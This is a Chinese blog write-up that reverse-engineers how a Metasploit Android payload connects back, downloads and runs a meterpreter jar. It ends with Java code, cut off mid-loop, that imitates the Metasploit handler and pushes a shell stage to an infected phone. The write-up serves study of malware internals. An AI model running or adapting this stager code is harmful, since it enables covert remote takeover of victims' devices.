/QQ:3496925334

作者:MG193.7

CNBLOG博客号:ALDYS4

未经许可,禁止转载
/

关于metasploit的安卓模块,前几次的博客我已经写了相应的分析和工具

【Android编程】Java利用apktool编写Metasploit恶意后门注入工具

【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块

我再次完善之前的分析

这次我准备对

安卓载荷如何运行,以及执行命令做更深入的分析

对meterpreter模块接管安卓傀儡机的方式进行复现

0x01运行流程分析

运用工具:

jd-gui,jadx,d2j,apktool

先生成一个载荷apk,接着利用apktool反编译它的资源文件



可以看到主入口在MainActivity这个类



MainActivity在向MainService类的startService方法传入了Context后立刻结束掉了当前类



可以看到startService方法正式启动了MainService类的服务



MainService类接着调用了Payload类的start方法,并传入Context



在Payload的start方法内调用了startInPath方法,并向其中传入了软件的私有目录

而startInPath方法则调用了d类的start方法



可以看到d类实际上就继承了Thread

在重写run方法后调用了Payload的main方法

这样一来,Payload方法也正式执行了



在main方法内,看到第一处红线标记处,调用了b类的a方法并传入了变量byte数组a,返回值重新赋值给成员a

这里简要说明一下,byte数组a是被加密过的ip及端口,而b类的a方法就是负责解密数组的

ip及端口就是傀儡机要回弹的地址,注意:解密出的ip和端口最终会赋值到下面变量名为str的字符串

程序执行到第二处红线标记处,其中a方法就是把当前类设置为软件主入口了,没什么好说的

继续看main方法,接下来程序执行的代码就是向控制机反弹shell的!



程序继续往下走,while循环内判断了str这个被赋值ip和端口的字符串是否以tcp开头

刚刚我们是利用meterpreter模块的reverse_tcp来生成恶意载荷,所以是以tcp开头

进入判断:首先注意str被赋值的字符串格式是"tcp://ip:port"

所以最终程序将执行到图中第二处红线标记处:向指定的ip建立Socket套接字

继续往下看

程序执行到第三处红线标记处时实例化了DataInputStream和DataOutputStream,并且向其中传入了套接字的io流

注意,其中传入的h成员,接下来会讲到

接着io流进入最为关键的Payload类中的a方法



先大致浏览一下a方法,接下来将分段讲解a方法



首先,图中变量str1赋予了传入的数组中的第一个值

还记得之前传入的h成员吗,我们对他进行溯源



回到Payload类最开始的start方法,传入的正是软件的私有目录

大致浏览过a方法后可以知道,软件的私有目录正是作为程序的根目录

回到a方法

程序继续执行



其中str2变量在抽取随机数后拼接在了str1后面

而str3在str2后面拼接了".jar"

str5将io流传入了另一个a方法,以下我们简称这另一个a方法为a1方法

查看a1方法



可以看到a1方法在读取了Datainputstrem数据流的int之后传入了byte数组

接着程序在遍历完成int长度后就会跳出循环,返回一个被赋值了的byte数组

继续回到a方法



str5在读取完io流回传的数据后

另一个byte数组(图中第二处红线)开始了读取

最终byte数组被写入了str3这个文件内,也就是拼接了".jar"的文件

是不是感觉它的运行原理马上就要明晰了?

在第四处红线标记处,一个变量名为clazz的Class赋予了实例化后的DexClassLoader,并且传入了刚刚的jar文件

str5作为加载的类名传入clazz

接着程序执行到最后一行,clazz的start方法被执行,并且传入io流

怎么样,是不是很兴奋,运行原理已经出来了,我们大致理一下思路

[1].程序经过一堆传参到达Payload类的main方法

[2].程序建立套接字连接控制端

[3].程序将套接字的数据流传入a方法

[4].a方法处理了传来的数据,在软件私有目录下接收了jar文件和要加载的类信息

[5].程序最终加载了jar方法中的代码

所以meterpreter模块就是通过远程传输jar文件来让傀儡机动态执行jar中的代码

0x02 meterpreter模块传输文件解析

要知道meterpreter如何接管傀儡机,还是要知道它是传入的什么文件,传输的什么数据

为了验证第一步的结论,我修改了一下生成的载荷apk的代码



可以看到程序在接收完jar文件后执行了其中的代码就立刻删除了传输过来的文件

我对它的smali代码进行修改



我找到其中的delete方法



将delete方法删除,并且添加了一个Log语句用于打印str5的内容

这样一来,文件,str5的内容我都能知道了

重新编译后安装apk,接着利用metasploit接管傀儡机



接着查看软件的私有目录



可以看到jar文件确实没有被删除

接着确认一下打印内容



打印内容应该就是jar文件的类路径了

查看jar包



有一个dex文件,反编译查看



根据str5的内容进入指定类



程序之前调用到了jar文件中指定类的start方法,并且传入了io流

而这个jar文件也确实存在start方法

大致浏览一遍内容可知,这个jar文件就是meterpreter模块的代码!

也是通过读取数据流和加载dex文件的方式执行控制端下达的指令!

meterpreter模块的真面目也出来了!

那么何不如模仿meterpreter模块让傀儡机执行我们设定的命令呢?

0x03 复现远程控制以及代码执行

首先先回到a1方法查看代码



运行流程如下:

[1]读字节长度

[2]给byte指定读取到的文件长度

[3]根据文件长度迭代取出io流的内容

[4]返回byte

流程很简单,

那么相应的我们发送payload的流程如下

[1]向io流写入长度

[2]向io流发送指定的payload

发送什么内容呢?根据之前的分析,发送的内容应该如此构造:

[1]先发送指定的类路径

[2]发送指定jar文件

运行流程理清楚了

那么发送什么payload好呢?

我在metasploit的目录里找到了有趣的文件



查看shell.jar的代码



知晓了类路径,我通过修改smali代码对图片第二处红线处执行的代码进行了修改



这样我就能通过判断shell文件夹是否被创建来判断代码是否被执行了

接下来放代码

package com.msf;

import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.UnknownHostException; public class Main {
public static void main(String[] arg) throws Exception {
ServerSocket serverSocket=new ServerSocket(1568);
System.out.println("build a server in port of 1568");
Socket socket=serverSocket.accept();
System.out.println("msf get in!");
DataOutputStream outputStream=getOutPutStream(socket);
sendPayload(outputStream, "androidpayload.stage.Shell", "C:/aaw.jar");
System.out.println("Over!");
}
public static DataOutputStream getOutPutStream(Socket socket) throws IOException {
System.out.println("[!]-->getOutputStream!");
return new DataOutputStream(socket.getOutputStream());
}
public static void sendPayload(DataOutputStream outputStream,String clazz,String injectJar) throws Exception {
int clazz_length = clazz.length();
System.out.println("[*]class length-->"+clazz_length);
File file=new File(injectJar);
int inject_length=(int) file.length();
System.out.println("[*]injectJar length-->"+inject_length);
byte[] file_b=getFile(file);
outputStream.writeInt(clazz_length);
System.out.println("[*]send class length...");
outputStream.write(clazz.getBytes());
System.out.println("[*]send class...");
outputStream.writeInt(inject_length);
System.out.println("[*]send injectJar length");
outputStream.write(file_b);
System.out.println("[*]send injectJar...");
Thread.sleep(3000);
System.out.println("[*]-->SEND A SHELL!");
}
public static byte[] getFile(File file) throws Exception {
FileInputStream fileInputStream=new FileInputStream(file);
int readLen=(int) file.length();
byte[] b=new byte[readLen];
int length=0;
while(length

【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell的更多相关文章

  1. 【Java编程实战】Metasploit_Java后门运行原理分析以及实现源码级免杀与JRE精简化

    QQ:3496925334 文章作者:MG1937 CNBLOG博客ID:ALDYS4 未经许可,禁止转载 某日午睡,迷迷糊糊梦到Metasploit里有个Java平台的远控载荷,梦醒后,打开虚拟机, ...

  2. 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控

    文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...

  3. 【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块

    /作者:Kali_MG1937 CSDN博客:ALDYS4 QQ:3496925334/ 注意!此文章被作者标记到 黑历史 专栏中,这意味着本篇文章可能存在 质量低下,流水账文,笔法低质 的问题 为了 ...

  4. Struts2运行流程分析

    一.Struts2运行流程图: 二.运行流程分析: 1. 请求发送给StrutsPrepareAndExecuteFilter 2.StrutsPrepareAndExecuteFilter询问Act ...

  5. 011-Spring Boot 运行流程分析SpringApplication.run

    一.程序入口 1.1.静态方法 //直接调用run方法 ConfigurableApplicationContext context = SpringApplication.run(App.class ...

  6. 【Android编程实战】源码级免杀_Dex动态加载技术_Metasploit安卓载荷傀儡机代码复现

    /文章作者:MG193.7 CNBLOG博客ID:ALDYS4 QQ:3496925334/ 在读者阅读本文章前,建议先阅读笔者之前写的一篇对安卓载荷的分析文章 [逆向&编程实战]Metasp ...

  7. thttpd和cgilua安装与运行流程分析

    安装 参考如下博文安装thttpd软件 http://blog.csdn.net/21aspnet/article/details/7045845 http://blog.csdn.net/drago ...

  8. hadoop运行流程分析源代码级

    前言: 最近一直在分析hadoop的运行流程,我们查阅了大量的资料,虽然从感性上对这个流程有了一个认识但是我总是感觉对mapreduce的运行还是没有一个全面的认识,所以决定从源代码级别对mapred ...

  9. springmvc的运行流程分析

    前几篇文章对springmvc讲解的很清楚,大家看下,有问题,我们再一起讨论. 其实springmvc最为重要是它的运行流程,接着,我们来分析一下,其运行过程,废话不多说,看图说话: 分析如下: 1, ...

随机推荐

  1. SQL必知必会 —— 性能优化篇

    数据库调优概述 数据库中的存储结构是怎样的 在数据库中,不论读一行,还是读多行,都是将这些行所在的页进行加载.也就是说,数据库管理存储空间的基本单位是页(Page). 一个页中可以存储多个行记录(Ro ...

  2. Jenkins 基础篇 - 安装部署

    Jenkins 安装 Jenkins 支持主流的 Linux 发行版系统,同时还支持 macOS.Windows.和 Docker 运行. 具体系统的 Jenkins 安装包可以去官网下载 https ...

  3. Django(26)HttpResponse对象和JsonResponse对象

    HttpResponse对象 Django服务器接收到客户端发送过来的请求后,会将提交上来的这些数据封装成一个HttpRequest对象传给视图函数.那么视图函数在处理完相关的逻辑后,也需要返回一个响 ...

  4. 4.启动虚拟机 设置CentOS7

    启动虚拟机 CentOS设置 1.点击箭头方向即可启动我们的VMware 2.设置语言 在第一步设置完成后,我们一直等待,即可来到语言设置界面 此处我们设置[中文] 3.设置安装信息 将下面带有[感叹 ...

  5. java基础——多维数组和稀疏数组

    多维数组 多维数组可以堪称数组的数组,比如二维数组就是一个特殊的一维数组,其中每一个元素都是一个以为数组 而且数组 int a[][]= new int[2][3]; public class Arr ...

  6. tail -fn 1000 test.log | grep '关键字' 按照时间段 sed -n '/2014-12-17 16:17:20/,/2014-12-17 16:17:36/p' test.log /var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件

    Linux 6种日志查看方法,不会看日志会被鄙视的 2020-02-11阅读 7.3K0   作为一名后端程序员,和Linux打交道的地方很多,不会看Linux日志,非常容易受到来自同事和面试官的嘲讽 ...

  7. PECcpu2006中执行单个测试程序的方法

    PECcpu2006中执行单个测试程序的方法 2010-12-30 11:44:00 maray 阅读数 10055更多 分类专栏: 科学理论   版权声明:本文为博主原创文章,遵循CC 4.0 BY ...

  8. 【IBM】netperf 与网络性能测量

    netperf 与网络性能测量 汤凯2004 年 7 月 01 日发布 WeiboGoogle+用电子邮件发送本页面 2 在构建或管理一个网络系统时,我们更多的是关心网络的可用性,即网络是否连通,而对 ...

  9. Ansible_管理playbook实现配置并行

    一.使用forks在Ansible中配置并行 1.Aniable运行play机制 1️⃣:当Ansible处理playbook时,会按顺序运行每个play.确定play的主机列表之后,Ansible将 ...

  10. Spark SQL 之 RDD、DataFrame 和 Dataset 如何选择

    引言 Apache Spark 2.2 以及以上版本提供的三种 API - RDD.DataFrame 和 Dataset,它们都可以实现很多相同的数据处理,它们之间的性能差异如何,在什么情况下该选用 ...